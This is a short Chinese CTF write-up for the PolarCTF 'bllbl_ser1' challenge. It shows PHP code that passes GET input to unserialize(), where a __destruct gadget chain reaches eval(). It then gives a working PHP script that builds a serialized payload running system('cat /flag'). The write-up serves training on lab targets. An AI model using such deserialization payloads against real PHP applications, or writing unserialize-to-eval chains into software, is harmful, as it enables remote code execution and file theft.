【PolarCTF】bllbl_ser1

很基础的一道题

复制代码
class bllbl{
    public $qiang;//我的强
    function  __destruct(){
        $this->bllliang();
    }
    function bllliang(){
        $this->qiang->close();
    }
    }
    class bllnbnl{
     public $er;//我的儿
    function close(){
        eval($this->er);
    }
    }
    if(isset($_GET['blljl'])){
        $user_data=unserialize($_GET['blljl']);
    }

payload如下

复制代码
<?php

class bllbl{
    public $qiang;//我的强
    
    }
class bllnbnl{
    public $er;    }
    
$a = new bllbl();
$b = new bllnbnl();
$a->qiang = $b;
$b->er = "system('cat /flag');";

echo urlencode(serialize($a));

?>

这道题的一些知识点

代码可以只打我们需要的部分

从payload可以看到,我们只需要构造我们需要的部分,class的其他部分可以删除

复制代码
<?php

class bllbl{
    public $qiang;//我的强
    
    }
class bllnbnl{
    public $er;    }

通过eval运行的时候代码后面要加;

在做的过程中犯了一个小毛病,就是system后面没有加; 导致payload一直没打成功

复制代码
$b->er = "system('cat /flag');";
相关推荐
Chengbei112 小时前
小程序 AI 渗透新工具MCP!打通调试与安全检测、网络抓包、接口分析、越权检测一站式实现
人工智能·安全·web安全·搜索引擎·网络安全·小程序·系统安全
humors2212 小时前
Windows运维与安全场景合集(不定期更新)
大数据·运维·服务器·程序人生·网络安全
X7x53 小时前
安全编排自动化与响应(SOAR):重塑企业安全运营的新引擎
网络安全·网络攻击模型·安全威胁分析·安全架构·soar
humors2213 小时前
聊聊密码为啥会“白设”
大数据·运维·服务器·网络·网络安全
消失的旧时光-19433 小时前
Android企业级网络架构实战:一套完整的双Token认证解决方案 ——(401自动续期|请求重放|RefreshToken刷新|并发401治理)
网络安全·网络框架·双token·android 网络认证架构
买大橘子也用券4 小时前
26软件系统安全赛-Fake Emotion(复盘)
python·深度学习·安全·网络安全
Chengbei1113 小时前
一站式源码安全检测工具、云安全 / APP / 小程序源码敏感信息递归多层目录扫描AK、JWT、手机号、身份证等敏感信息
java·开发语言·安全·web安全·网络安全·系统安全·安全架构
谪星·阿凯1 天前
后渗透痕迹清理实战指南
网络安全·后渗透清理
大方子1 天前
【好靶场】他被什么加固了2?
网络安全·好靶场